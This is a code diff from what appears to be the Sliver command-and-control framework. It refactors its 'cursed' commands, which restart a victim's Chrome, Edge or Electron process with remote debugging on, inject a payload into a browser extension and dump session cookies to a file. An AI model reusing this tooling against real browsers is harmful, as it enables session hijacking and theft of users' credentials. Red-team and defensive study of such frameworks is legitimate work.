"github.com/bishopfox/sliver/client/overlord" "github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/client/tcpproxy" "github.com/bishopfox/sliver/client/tcpproxy"
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/spf13/cobra"
) )
var ( var (
@@ -50,8 +51,8 @@ var (
cursedChromePermissionsAlt = []string{overlord.AllHTTP, overlord.AllHTTPS, overlord.WebRequest, overlord.WebRequestBlocking} cursedChromePermissionsAlt = []string{overlord.AllHTTP, overlord.AllHTTPS, overlord.WebRequest, overlord.WebRequestBlocking}
) )
// CursedChromeCmd - Execute a .NET assembly in-memory. // CursedChromeCmd - Execute a .NET assembly in-memory
func CursedChromeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CursedChromeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session := con.ActiveTarget.GetSessionInteractive() session := con.ActiveTarget.GetSessionInteractive()
if session == nil { if session == nil {
return return
@@ -94,7 +95,7 @@ func CursedChromeCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
} }
if chromeExt != nil { if chromeExt != nil {
con.Printf("success!\n") con.Printf("success!\n")
con.PrintInfof("Found viable Chrome extension %s (%s)\n", console.StyleBold.Render(chromeExt.Title), chromeExt.ID) con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
con.PrintInfof("Injecting payload ... ") con.PrintInfof("Injecting payload ... ")
cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse) cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
// extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second) // extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second)
@@ -111,7 +112,7 @@ func CursedChromeCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
} }
} }
func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) *core.CursedProcess { func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) *core.CursedProcess {
chromeProcess, err := getChromeProcess(session, cmd, con) chromeProcess, err := getChromeProcess(session, cmd, con)
if err != nil { if err != nil {
con.PrintErrorf("%s\n", err) con.PrintErrorf("%s\n", err)
@@ -120,10 +121,10 @@ func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *cons
if chromeProcess != nil { if chromeProcess != nil {
con.PrintWarnf("Found running Chrome process: %d (ppid: %d)\n", chromeProcess.GetPid(), chromeProcess.GetPpid()) con.PrintWarnf("Found running Chrome process: %d (ppid: %d)\n", chromeProcess.GetPid(), chromeProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the Chrome process in order to perform code injection.\n") con.PrintWarnf("Sliver will need to kill and restart the Chrome process in order to perform code injection.\n")
con.PrintWarnf("Sliver will attempt to restore the user's session, however %s\n", console.StyleBold.Render("DATA LOSS MAY OCCUR!")) con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n") con.Printf("\n")
confirm := false confirm := false
err = forms.Confirm("Kill and restore existing Chrome process?", &confirm) err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Chrome process?"}, &confirm)
if err != nil { if err != nil {
con.PrintErrorf("%s\n", err) con.PrintErrorf("%s\n", err)
return nil return nil
@@ -153,7 +154,7 @@ func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *cons
return curse return curse
} }
func startCursedChromeProcess(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) (*core.CursedProcess, error) { func startCursedChromeProcess(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) (*core.CursedProcess, error) {
name := "Chrome" name := "Chrome"
if isEdge { if isEdge {
name = "Edge" name = "Edge"
@@ -213,7 +214,7 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, cmd *cobra
con.PrintInfof("Waiting for %s process to initialize ... ", name) con.PrintInfof("Waiting for %s process to initialize ... ", name)
time.Sleep(2 * time.Second) time.Sleep(2 * time.Second)
bindPort := util.Intn(10000) + 40000 bindPort := insecureRand.Intn(10000) + 40000
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort) bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort) remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
@@ -253,7 +254,7 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, cmd *cobra
return curse, nil return curse, nil
} }
func findChromeUserDataDir(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (string, error) { func findChromeUserDataDir(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (string, error) {
userDataFlag, _ := cmd.Flags().GetString("user-data") userDataFlag, _ := cmd.Flags().GetString("user-data")
if userDataFlag != "" { if userDataFlag != "" {
return userDataFlag, nil return userDataFlag, nil
@@ -306,7 +307,7 @@ func findChromeUserDataDir(isEdge bool, session *clientpb.Session, cmd *cobra.Co
} }
} }
func findChromeExecutablePath(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (string, error) { func findChromeExecutablePath(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (string, error) {
exeFlag, _ := cmd.Flags().GetString("exe") exeFlag, _ := cmd.Flags().GetString("exe")
if exeFlag != "" { if exeFlag != "" {
return exeFlag, nil return exeFlag, nil
@@ -416,7 +417,7 @@ func isChromeProcess(executable string) bool {
return false return false
} }
func getChromeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (*commonpb.Process, error) { func getChromeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{ ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(cmd), Request: con.ActiveTarget.Request(cmd),
}) })
+15 -10
View File
@@ -26,15 +26,16 @@ import (
"strings" "strings"
"text/tabwriter" "text/tabwriter"
"github.com/bishopfox/sliver/client/console" "github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/client/overlord"
"github.com/reeflective/readline" "github.com/reeflective/readline"
"github.com/spf13/cobra" "github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
) )
func CursedConsoleCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CursedConsoleCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
curse := selectCursedProcess(con) curse := selectCursedProcess(con)
if curse == nil { if curse == nil {
return return
@@ -55,7 +56,7 @@ func CursedConsoleCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
startCursedConsole(curse, true, target, con) startCursedConsole(curse, true, target, con)
} }
func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverClient) *overlord.ChromeDebugTarget { func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget {
if len(targets) < 1 { if len(targets) < 1 {
con.PrintErrorf("No debug targets\n") con.PrintErrorf("No debug targets\n")
return nil return nil
@@ -71,8 +72,12 @@ func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.Sliver
table.Flush() table.Flush()
options := strings.Split(outputBuf.String(), "\n") options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a debug target:",
Options: options,
}
selected := "" selected := ""
err := forms.Select("Select a debug target:", options, &selected) err := survey.AskOne(prompt, &selected)
if err != nil { if err != nil {
con.PrintErrorf("%s\n", err) con.PrintErrorf("%s\n", err)
return nil return nil
@@ -89,11 +94,11 @@ var helperHooks = []string{
"console.log = (...a) => {return a;}", // console.log "console.log = (...a) => {return a;}", // console.log
} }
func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverClient) { func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
tmpFile, _ := os.CreateTemp("", "cursed") tmpFile, _ := os.CreateTemp("", "cursed")
shell := readline.NewShell() shell := readline.NewShell()
shell.History.AddFromFile("cursed history", tmpFile.Name()) shell.History.AddFromFile("cursed history", tmpFile.Name())
shell.Prompt.Primary(func() string { return console.StyleRed.Render("cursed »") + " " }) shell.Prompt.Primary(func() string { return "\033[31mcursed »\033[0m " })
// EOFPrompt: "exit", // EOFPrompt: "exit",
if con.Settings.VimMode { if con.Settings.VimMode {
@@ -111,7 +116,7 @@ func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlor
} }
} }
con.Printf("%s\n\n", console.StyleBold.Render(">>> Cursed Console, use ':help' for options")) con.Printf(console.Bold+">>> Cursed Console, use ':help' for options%s\n\n", console.Normal)
for { for {
line, err := shell.Readline() line, err := shell.Readline()
+12 -12
View File
@@ -21,16 +21,16 @@ package cursed
import ( import (
"fmt" "fmt"
"os" "os"
"strings"
"time" "time"
"encoding/json" "github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/overlord" "github.com/bishopfox/sliver/client/overlord"
"github.com/spf13/cobra"
) )
func CursedCookiesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CursedCookiesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
curse := selectCursedProcess(con) curse := selectCursedProcess(con)
if curse == nil { if curse == nil {
return return
@@ -47,24 +47,24 @@ func CursedCookiesCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
if len(cookies) == 0 { if len(cookies) == 0 {
return return
} }
saveFile, _ := cmd.Flags().GetString("save") saveFile, _ := cmd.Flags().GetString("save")
if saveFile == "" { if saveFile == "" {
saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405")) saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
} }
jsonCookies := []string{}
jsonBytes, err := json.MarshalIndent(cookies, "", " ") for _, cookie := range cookies {
if err != nil { jsonCookie, err := cookie.MarshalJSON()
con.PrintErrorf("Failed to marshal cookies: %s\n", err) if err != nil {
return con.PrintErrorf("Failed to marshal cookie: %s\n", err)
continue
}
jsonCookies = append(jsonCookies, string(jsonCookie))
} }
err = os.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0o600)
err = os.WriteFile(saveFile, jsonBytes, 0o600)
if err != nil { if err != nil {
con.PrintErrorf("Failed to save cookies: %s\n", err) con.PrintErrorf("Failed to save cookies: %s\n", err)
return return
} }
con.PrintInfof("Saved to %s", saveFile) con.PrintInfof("Saved to %s", saveFile)
con.Println() con.Println()
} }
+11 -9
View File
@@ -21,20 +21,22 @@ package cursed
import ( import (
"context" "context"
"os" "os"
"strings" "strings"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/client/overlord" "github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
) )
// CursedChromeCmd - Execute a .NET assembly in-memory. // CursedChromeCmd - Execute a .NET assembly in-memory
func CursedEdgeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CursedEdgeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session := con.ActiveTarget.GetSessionInteractive() session := con.ActiveTarget.GetSessionInteractive()
if session == nil { if session == nil {
return return
@@ -77,7 +79,7 @@ func CursedEdgeCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
} }
if chromeExt != nil { if chromeExt != nil {
con.Printf("success!\n") con.Printf("success!\n")
con.PrintInfof("Found viable Edge extension %s (%s)\n", console.StyleBold.Render(chromeExt.Title), chromeExt.ID) con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
con.PrintInfof("Injecting payload ... ") con.PrintInfof("Injecting payload ... ")
cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse) cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
// extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second) // extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second)
@@ -94,7 +96,7 @@ func CursedEdgeCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
} }
} }
func avadaKedavraEdge(session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) *core.CursedProcess { func avadaKedavraEdge(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) *core.CursedProcess {
edgeProcess, err := getEdgeProcess(session, cmd, con) edgeProcess, err := getEdgeProcess(session, cmd, con)
if err != nil { if err != nil {
con.PrintErrorf("%s\n", err) con.PrintErrorf("%s\n", err)
@@ -103,10 +105,10 @@ func avadaKedavraEdge(session *clientpb.Session, cmd *cobra.Command, con *consol
if edgeProcess != nil { if edgeProcess != nil {
con.PrintWarnf("Found running Edge process: %d (ppid: %d)\n", edgeProcess.GetPid(), edgeProcess.GetPpid()) con.PrintWarnf("Found running Edge process: %d (ppid: %d)\n", edgeProcess.GetPid(), edgeProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the Edge process in order to perform code injection.\n") con.PrintWarnf("Sliver will need to kill and restart the Edge process in order to perform code injection.\n")
con.PrintWarnf("Sliver will attempt to restore the user's session, however %s\n", console.StyleBold.Render("DATA LOSS MAY OCCUR!")) con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n") con.Printf("\n")
confirm := false confirm := false
err = forms.Confirm("Kill and restore existing Edge process?", &confirm) err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Edge process?"}, &confirm)
if err != nil { if err != nil {
con.PrintErrorf("%s\n", err) con.PrintErrorf("%s\n", err)
return nil return nil
@@ -151,7 +153,7 @@ func isEdgeProcess(executable string) bool {
return false return false
} }
func getEdgeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (*commonpb.Process, error) { func getEdgeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{ ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(cmd), Request: con.ActiveTarget.Request(cmd),
}) })
+12 -11
View File
@@ -22,22 +22,23 @@ import (
"context" "context"
"fmt" "fmt"
"log" "log"
insecureRand "math/rand"
"path" "path"
"time" "time"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/client/overlord" "github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/client/tcpproxy" "github.com/bishopfox/sliver/client/tcpproxy"
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/spf13/cobra"
) )
func CursedElectronCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CursedElectronCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session := con.ActiveTarget.GetSessionInteractive() session := con.ActiveTarget.GetSessionInteractive()
if session == nil { if session == nil {
return return
@@ -67,7 +68,7 @@ func CursedElectronCmd(cmd *cobra.Command, con *console.SliverClient, args []str
con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets)) con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets))
} }
func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) *core.CursedProcess { func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) *core.CursedProcess {
exists, err := checkElectronPath(electronExe, session, cmd, con) exists, err := checkElectronPath(electronExe, session, cmd, con)
if err != nil { if err != nil {
con.PrintErrorf("%s", err) con.PrintErrorf("%s", err)
@@ -85,10 +86,10 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *co
if electronProcess != nil { if electronProcess != nil {
con.PrintWarnf("Found running '%s' process: %d (ppid: %d)\n", path.Base(electronExe), electronProcess.GetPid(), electronProcess.GetPpid()) con.PrintWarnf("Found running '%s' process: %d (ppid: %d)\n", path.Base(electronExe), electronProcess.GetPid(), electronProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the process in order to perform code injection.\n") con.PrintWarnf("Sliver will need to kill and restart the process in order to perform code injection.\n")
con.PrintWarnf("%s\n", console.StyleBold.Render("DATA LOSS MAY OCCUR!")) con.PrintWarnf("%sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n") con.Printf("\n")
confirm := false confirm := false
err = forms.Confirm("Kill and restart the process?", &confirm) err = survey.AskOne(&survey.Confirm{Message: "Kill and restart the process?"}, &confirm)
if err != nil { if err != nil {
con.PrintErrorf("%s\n", err) con.PrintErrorf("%s\n", err)
return nil return nil
@@ -118,7 +119,7 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *co
return curse return curse
} }
func checkElectronPath(electronExe string, _ *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (bool, error) { func checkElectronPath(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (bool, error) {
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{ ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(cmd), Request: con.ActiveTarget.Request(cmd),
Path: electronExe, Path: electronExe,
@@ -129,7 +130,7 @@ func checkElectronPath(electronExe string, _ *clientpb.Session, cmd *cobra.Comma
return ls.GetExists(), nil return ls.GetExists(), nil
} }
func checkElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (*commonpb.Process, error) { func checkElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{ ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(cmd), Request: con.ActiveTarget.Request(cmd),
}) })
@@ -147,7 +148,7 @@ func checkElectronProcess(electronExe string, session *clientpb.Session, cmd *co
return nil, nil return nil, nil
} }
func startCursedElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) (*core.CursedProcess, error) { func startCursedElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) (*core.CursedProcess, error) {
con.PrintInfof("Starting '%s' ... ", path.Base(electronExe)) con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
debugPort := getRemoteDebuggerPort(cmd) debugPort := getRemoteDebuggerPort(cmd)
args := []string{ args := []string{
@@ -175,7 +176,7 @@ func startCursedElectronProcess(electronExe string, session *clientpb.Session, c
con.PrintInfof("Waiting for process to initialize ... ") con.PrintInfof("Waiting for process to initialize ... ")
time.Sleep(2 * time.Second) time.Sleep(2 * time.Second)
bindPort := util.Intn(10000) + 40000 bindPort := insecureRand.Intn(10000) + 40000
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort) bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort) remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
+5 -4
View File
@@ -22,14 +22,15 @@ import (
"context" "context"
"strconv" "strconv"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
) )
func CursedRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CursedRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session := con.ActiveTarget.GetSessionInteractive() session := con.ActiveTarget.GetSessionInteractive()
if session == nil { if session == nil {
return return
@@ -44,7 +45,7 @@ func CursedRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
core.CloseCursedProcessesByBindPort(session.ID, bindPort) core.CloseCursedProcessesByBindPort(session.ID, bindPort)
if kill { if kill {
confirm := false confirm := false
err := forms.Confirm("Kill the cursed process?", &confirm) err := survey.AskOne(&survey.Confirm{Message: "Kill the cursed process?"}, &confirm)
if err != nil { if err != nil {
con.PrintErrorf("%s", err) con.PrintErrorf("%s", err)
return return
Loaded 100 of 11354 files, more files were not shown because too many files have changed in this diff. Show more